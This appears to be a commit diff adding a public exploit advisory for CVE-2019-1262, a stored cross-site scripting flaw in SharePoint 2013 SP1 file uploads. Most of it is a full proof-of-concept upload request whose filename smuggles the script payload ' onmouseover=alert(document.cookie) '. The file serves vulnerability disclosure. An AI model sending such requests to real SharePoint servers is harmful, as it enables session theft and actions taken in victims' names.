|
| 1 | +# Exploit Title: Microsoft SharePoint 2013 SP1 - 'DestinationFolder' Persistent Cross-Site Scripting |
| 2 | +# Author: Davide Cioccia |
| 3 | +# Discovery Date: 2019-09-25 |
| 4 | +# Vendor Homepage: https://www.microsoft.com |
| 5 | +# Software Link: https://support.microsoft.com/en-us/help/2880552/description-of-microsoft-sharepoint-server-2013-service-pack-1-sp1 |
| 6 | +# Tested Version: SP1 |
| 7 | +# Tested on: Microsoft Windows Server 2016 |
| 8 | +# CVE: CVE-2019-1262 |
| 9 | +# Advisory ID: ZSL-2019-5533 |
| 10 | +# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5533.php |
| 11 | +# MSRC: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1262 |
| 12 | + |
| 13 | +Vendor: Microsoft Corporation |
| 14 | +Product web page: https://www.microsoft.com |
| 15 | +Affected version: 2013 SP1 |
| 16 | + |
| 17 | +Summary: SharePoint is a web-based collaborative platform that |
| 18 | +integrates with Microsoft Office. Launched in 2001, SharePoint |
| 19 | +is primarily sold as a document management and storage system, |
| 20 | +but the product is highly configurable and usage varies substantially |
| 21 | +among organizations. |
| 22 | + |
| 23 | +Desc: A cross-site-scripting (XSS) vulnerability exists when Microsoft |
| 24 | +SharePoint Server does not properly sanitize a specially crafted web |
| 25 | +request to an affected SharePoint server. An authenticated attacker |
| 26 | +could exploit the vulnerability by sending a specially crafted request |
| 27 | +to an affected SharePoint server. The attacker who successfully exploited |
| 28 | +the vulnerability could then perform cross-site scripting attacks on |
| 29 | +affected systems and run script in the security context of the current |
| 30 | +user. The attacks could allow the attacker to read content that the |
| 31 | +attacker is not authorized to read, use the victim's identity to take |
| 32 | +actions on the SharePoint site on behalf of the user, such as change |
| 33 | +permissions and delete content, and inject malicious content in the |
| 34 | +browser of the user. |
| 35 | + |
| 36 | +Sharepoint 2013 SP1 allows users to upload files to the platform, but |
| 37 | +does not correctly sanitize the filename when the files are listed. An |
| 38 | +authenticated user that has the rights to upload files to the SharePoint |
| 39 | +platform, is able to exploit a Stored Cross-Site Scripting vulnerability |
| 40 | +in the filename. The filename is reflected in the attribute 'aria-label' |
| 41 | +of the following HTML tag. |
| 42 | + |
| 43 | +# PoC request: |
| 44 | + |
| 45 | + |
| 46 | +POST /FOLDER/_layouts/15/Upload.aspx?List={689D112C-BDAA-4B05-B0CB-0DFB36CF0649}&RootFolder=&IsDlg=1 HTTP/1.1 |
| 47 | +Host: vulnerable_sharepoint_2013 |
| 48 | +Connection: close |
| 49 | +Content-Length: 31337 |
| 50 | +Cache-Control: max-age=0 |
| 51 | +Authorization: Negotiate YIIV9gYGKwYBBQUCo........................JBAq39IdJh3yphI1uHbz/jbQ== |
| 52 | +Origin: https://vulnerable_sharepoint_2013.tld |
| 53 | +Upgrade-Insecure-Requests: 1 |
| 54 | +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryewNI1MC6qaHDB50n |
| 55 | +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 |
| 56 | +Sec-Fetch-Mode: nested-navigate |
| 57 | +Sec-Fetch-User: ?1 |
| 58 | +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 |
| 59 | +Sec-Fetch-Site: same-origin |
| 60 | +Accept-Encoding: gzip, deflate |
| 61 | +Accept-Language: en-US,en;q=0.9,it-IT;q=0.8,it;q=0.7,nl;q=0.6 |
| 62 | +Cookie: ... |
| 63 | + |
| 64 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 65 | +Content-Disposition: form-data; name="MSOWebPartPage_PostbackSource" |
| 66 | + |
| 67 | + |
| 68 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 69 | +Content-Disposition: form-data; name="MSOTlPn_SelectedWpId" |
| 70 | + |
| 71 | + |
| 72 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 73 | +Content-Disposition: form-data; name="MSOTlPn_View" |
| 74 | + |
| 75 | +0 |
| 76 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 77 | +Content-Disposition: form-data; name="MSOTlPn_ShowSettings" |
| 78 | + |
| 79 | +False |
| 80 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 81 | +Content-Disposition: form-data; name="MSOGallery_SelectedLibrary" |
| 82 | + |
| 83 | + |
| 84 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 85 | +Content-Disposition: form-data; name="MSOGallery_FilterString" |
| 86 | + |
| 87 | + |
| 88 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 89 | +Content-Disposition: form-data; name="MSOTlPn_Button" |
| 90 | + |
| 91 | +none |
| 92 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 93 | +Content-Disposition: form-data; name="__EVENTTARGET" |
| 94 | + |
| 95 | +ctl00$PlaceHolderMain$ctl00$RptControls$btnOK |
| 96 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 97 | +Content-Disposition: form-data; name="__EVENTARGUMENT" |
| 98 | + |
| 99 | + |
| 100 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 101 | +Content-Disposition: form-data; name="MSOSPWebPartManager_DisplayModeName" |
| 102 | + |
| 103 | +Browse |
| 104 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 105 | +Content-Disposition: form-data; name="MSOSPWebPartManager_ExitingDesignMode" |
| 106 | + |
| 107 | +false |
| 108 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 109 | +Content-Disposition: form-data; name="MSOWebPartPage_Shared" |
| 110 | + |
| 111 | + |
| 112 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 113 | +Content-Disposition: form-data; name="MSOLayout_LayoutChanges" |
| 114 | + |
| 115 | + |
| 116 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 117 | +Content-Disposition: form-data; name="MSOLayout_InDesignMode" |
| 118 | + |
| 119 | + |
| 120 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 121 | +Content-Disposition: form-data; name="MSOSPWebPartManager_OldDisplayModeName" |
| 122 | + |
| 123 | +Browse |
| 124 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 125 | +Content-Disposition: form-data; name="MSOSPWebPartManager_StartWebPartEditingName" |
| 126 | + |
| 127 | +false |
| 128 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 129 | +Content-Disposition: form-data; name="MSOSPWebPartManager_EndWebPartEditing" |
| 130 | + |
| 131 | +false |
| 132 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 133 | +Content-Disposition: form-data; name="_maintainWorkspaceScrollPosition" |
| 134 | + |
| 135 | +0 |
| 136 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 137 | +Content-Disposition: form-data; name="__REQUESTDIGEST" |
| 138 | + |
| 139 | +[DIGEST] |
| 140 | + |
| 141 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 142 | +Content-Disposition: form-data; name="__VIEWSTATE" |
| 143 | + |
| 144 | +[VIEWSTATE] |
| 145 | + |
| 146 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 147 | +Content-Disposition: form-data; name="__VIEWSTATEGENERATOR" |
| 148 | + |
| 149 | +E6912F23 |
| 150 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 151 | +Content-Disposition: form-data; name="__SCROLLPOSITIONX" |
| 152 | + |
| 153 | +0 |
| 154 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 155 | +Content-Disposition: form-data; name="__SCROLLPOSITIONY" |
| 156 | + |
| 157 | +0 |
| 158 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 159 | +Content-Disposition: form-data; name="__EVENTVALIDATION" |
| 160 | + |
| 161 | + |
| 162 | + |
| 163 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 164 | +Content-Disposition: form-data; name="destination" |
| 165 | + |
| 166 | +[DESTINATION_FOLDER] |
| 167 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 168 | +Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$InputFile"; filename="' onmouseover=alert(document.cookie) '.jpg" |
| 169 | +Content-Type: image/jpeg |
| 170 | + |
| 171 | + |
| 172 | +ZSL |
| 173 | +------WebKitFormBoundaryewNI1MC6qaHDB50n |
| 174 | +Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$OverwriteSingle" |
| 175 | + |
| 176 | +on |
| 177 | +------WebKitFormBoundaryewNI1MC6qaHDB50n-- |
0 commit comments